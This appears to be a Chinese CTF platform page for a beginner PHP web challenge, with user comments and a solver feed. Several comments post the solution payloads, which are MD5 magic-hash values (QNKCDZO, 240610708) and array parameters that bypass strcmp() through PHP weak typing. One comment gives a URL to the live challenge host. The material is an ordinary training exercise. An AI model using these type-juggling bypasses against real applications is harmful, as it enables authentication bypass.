前女友WEB 未解决

分数: 30 金币: 3
题目作者: 未知
一　　血: chounana
一血奖励: 2金币
解　　决: 5258
提　　示:
描　　述:
来源 山科大ctf
...
登录回复
评论
ahco 1天前
举报

v1[]=123&v2[]=234&v3=flag{*******}

回复 0
zhuizhui 7天前
举报

md5绕过和strcmp漏洞 strcmp漏洞：一个数组一个字符串也返回0

回复 0
xlogsrc 1月前
举报

?v1[]=a&v2[]=b&v3[]=c

回复 0
lordinglord 1月前
举报

http://117.72.52.127:19197/index.php?v1=QNKCDZO&v2=240610708&v3[]=a

回复 0
emm不取名字了 2月前
举报

flag{*****}

回复 0
3344 2月前
举报

flag{**********}

回复 0
Arya32f 2月前
举报

/?v1=QNKCDZO&v2=240610708&v3[]=1或者/?v1[]=1&v2[]=2&v3[]=1

回复 0
HK1ng 3月前
举报

首先CTRL＋U查看源码，发现存在超链接，点击进去之后，代码审计，第一关是md5弱类型比较，然后用了strcmp()函数进行弱类型比较，直接传一个数组，PHP 8.0 前 strcmp() 会返回 null，加上取反，直接绕过。

回复 2
goodsnack 3月前
举报

弱类型比较，传数组即可

回复 0
harven 3月前
举报

http://example.com/?v1=QNKCDZO&v2=240610708&v3[]=test

回复 0

WriteUp

image
harry

3 金币

立即查看

评分(11)

解题动态

妈！有人打我 攻破了该题 2小时前
satuo 攻破了该题 6小时前
testda 攻破了该题 6小时前
ahco 攻破了该题 1天前
786540931 攻破了该题 1天前
Hehe0619 攻破了该题 1天前
YCanhao 攻破了该题 1天前
afanda 攻破了该题 2天前
qwerasdz 攻破了该题 2天前
yphyph 攻破了该题 3天前
rufeii 攻破了该题 3天前
小白ctf 攻破了该题 3天前
洪丹 攻破了该题 3天前
人闲桂花落 攻破了该题 4天前
实力这块/.手拿把掐 攻破了该题 4天前
dwx1583 攻破了该题 4天前
2595151702 攻破了该题 5天前
hua1232 攻破了该题 5天前
alwayslookpoomi 攻破了该题 5天前
小敏bebe 攻破了该题 5天前
问题反馈